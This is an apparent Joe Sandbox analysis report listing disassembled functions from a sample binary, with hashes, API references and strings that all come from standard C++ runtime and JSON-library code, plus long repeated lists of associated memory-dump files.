Instruction ID: 1e715b73247ab198301e39161e55e6e784a0d27c7e9ce1af0c1b1a35128bddfc
Opcode Fuzzy Hash: d27a1c9f7f15ce9c7a299ec08ca0dffb8c702e2d8c577d6d840530f8f0d2717d
Instruction Fuzzy Hash: EB41C631A0024AAFCF10DF69C88AAAEBBA5FF05314F188055EC149B392D771EA15CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C777F0 Relevance: 9.1, APIs: 6, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00C77826
std::_Lockit::_Lockit.LIBCPMT ref: 00C77848
std::_Lockit::~_Lockit.LIBCPMT ref: 00C77868
__Getctype.LIBCPMT ref: 00C77911
std::_Facet_Register.LIBCPMT ref: 00C77930
std::_Lockit::~_Lockit.LIBCPMT ref: 00C77948

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: a36b1ca1fdaf6c3f0c80c5039b256940a681bf8176db689b56dbe3e3b50bdcac
Instruction ID: 562f5389ff572be451ef9bc82a8191295e3d7e58cf6cca6538c6096262637dd0
Opcode Fuzzy Hash: a36b1ca1fdaf6c3f0c80c5039b256940a681bf8176db689b56dbe3e3b50bdcac
Instruction Fuzzy Hash: 0541C870D042459FDB14EF54D885B6EFBB4EB10714F248259E819AB391DB30AE44CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 00C66A30 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 183COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00C66C3E
___std_exception_destroy.LIBVCRUNTIME ref: 00C66C4D

Strings

, column , xrefs: 00C66AD2
at line , xrefs: 00C66A88

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: at line $, column
API String ID: 4194217158-191570568
Opcode ID: 2efa98237a688721be103acc3292386c2ba0223602f43fe9332362b263bbdbc2
Instruction ID: 8d49d1a49e510b9069e450105ca123844c3e3a126282204c73a8a42894642d95
Opcode Fuzzy Hash: 2efa98237a688721be103acc3292386c2ba0223602f43fe9332362b263bbdbc2
Instruction Fuzzy Hash: 3F512471C002049FDB18DB68DD85BAEFBB1EF89304F24825DE415A7392D774AA8097A0

Uniqueness

Uniqueness Score: -1.00%

Function 00C64670 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00C6470F

Strings

ios_base::eofbit set, xrefs: 00C646B6
ios_base::failbit set, xrefs: 00C645C8, 00C646B1
ios_base::badbit set, xrefs: 00C646A7, 00C646D2, 00C646F3

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: ___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2659868963-1866435925
Opcode ID: cfa37e179e6997c2b2814f5c13c5925f2a62d610da7a1fe9d6153ae887d20d7f
Instruction ID: c0540890e876ecdc6f9bcedc6a548c520de21bda7aac2a26412fbba159af9fcc
Opcode Fuzzy Hash: cfa37e179e6997c2b2814f5c13c5925f2a62d610da7a1fe9d6153ae887d20d7f
Instruction Fuzzy Hash: 8211E7B29107056BC724EF58D841B96B3ECAF25310F04852AF9549B341FB70EA558BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00C8CFB9 Relevance: 6.0, APIs: 4, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00C8CFC0
std::_Lockit::_Lockit.LIBCPMT ref: 00C8CFCB
std::_Lockit::~_Lockit.LIBCPMT ref: 00C8D039

Part of subcall function 00C8D11C: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00C8D134

std::locale::_Setgloballocale.LIBCPMT ref: 00C8CFE6

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_Setgloballocale
String ID:
API String ID: 677527491-0
Opcode ID: 07e096a35937ff13b2bb5b2dbf6285cbca681d988a2f6ee04de81f28a170c4c9
Instruction ID: 437a2aacc54a94f7f6479ccd42d98e98167e64070939e8121b1fd39f10f7f779
Opcode Fuzzy Hash: 07e096a35937ff13b2bb5b2dbf6285cbca681d988a2f6ee04de81f28a170c4c9
Instruction Fuzzy Hash: 36018F75A002519BCB0AFF20DC8597D7B61BF84754F144009E812973C1CF786E46EBE9

Uniqueness

Uniqueness Score: -1.00%

Function 00C66670 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 271COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00C669C5

Strings

parse error, xrefs: 00C66711
ror, xrefs: 00C666C3

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: ___std_exception_copy
String ID: parse error$ror
API String ID: 2659868963-4201802366
Opcode ID: 0711da468fc561708c77a0ec016a98c40ff4fcdab467c598b6cb81523dc48dfd
Instruction ID: d878314eac875bbe0ab96bbad5d7dffdef7ccc1aac52edcb417df0a16ebbac1d
Opcode Fuzzy Hash: 0711da468fc561708c77a0ec016a98c40ff4fcdab467c598b6cb81523dc48dfd
Instruction Fuzzy Hash: 5CB1F071D102489FDB28DF64CC88BADBB71FF49304F148399E4186B792DB74AA84DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C81ED0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00C82F8E
___std_exception_destroy.LIBVCRUNTIME ref: 00C82FA7

Strings

value, xrefs: 00C82EAA

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: value
API String ID: 4194217158-494360628
Opcode ID: 0c07b7d48f3d65637ed6902f9830c0a27ad9e9415c02de78bc488b6e4d6a325b
Instruction ID: 809ee18805c7eb69d8822ef6be336138f5ea50621e10bb4b1a7b814156331220
Opcode Fuzzy Hash: 0c07b7d48f3d65637ed6902f9830c0a27ad9e9415c02de78bc488b6e4d6a325b
Instruction Fuzzy Hash: 00912370C0024C9BDB15EBA0CD98BEEFBB8BF14304F0081AAE449A7252D7345B89DB65

Uniqueness

Uniqueness Score: -1.00%

Function 00C66410 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 195COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00C66641
___std_exception_destroy.LIBVCRUNTIME ref: 00C66650

Strings

[json.exception., xrefs: 00C6647C

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: [json.exception.
API String ID: 4194217158-791563284
Opcode ID: 57554c9299ddef8cb6d8eebbcf4098b332a067e7986b3db75ea0a9f408211d0a
Instruction ID: 1defa3be3a6f88d8638abf5e39e7bb01b7c2b042531e92cd71465f3c9fd9afe4
Opcode Fuzzy Hash: 57554c9299ddef8cb6d8eebbcf4098b332a067e7986b3db75ea0a9f408211d0a
Instruction Fuzzy Hash: 94615570D002489FDB28DF68DD95BAEBBB4EF45304F24831DF4156B392D7B0AA8497A0

Uniqueness

Uniqueness Score: -1.00%

Function 00C64590 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00C6470F

Strings

ios_base::failbit set, xrefs: 00C645C8
ios_base::badbit set, xrefs: 00C646A7, 00C646D2, 00C646F3

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000FD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877489077.00000000011F4000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877597301.0000000001354000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c60000_2q45IEa3Ee.jbxd

Similarity

API ID: ___std_exception_copy
String ID: ios_base::badbit set$ios_base::failbit set
API String ID: 2659868963-1240500531
Opcode ID: f565496d936fcbc3977e571d09c24ad1cdf309d8316414680a7484686e09d268
Instruction ID: abc482c6e1281a36159391894200c9105913ca24c752c182fbf29951c82f8e6b
Opcode Fuzzy Hash: f565496d936fcbc3977e571d09c24ad1cdf309d8316414680a7484686e09d268
Instruction Fuzzy Hash: 3541F9B1900605AFC718DF58CC81BAEF7B8EF55710F14821EF91597741E770AA41DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C64120 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00C64141
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00C64190

Strings

bad locale name, xrefs: 00C641AB

Memory Dump Source

Source File: 00000000.00000002.1876801610.0000000000C61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C60000, based on PE: true

Associated: 00000000.00000002.1876784166.0000000000C60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876906597.0000000000DC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876933783.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DEA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000DF5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E23000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E2D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876952861.0000000000E38000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877066478.0000000000E6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000E70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F58000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1877085413.0000000000F5E000.00000040.00000001.01000000.00000003.sdmpDownload File
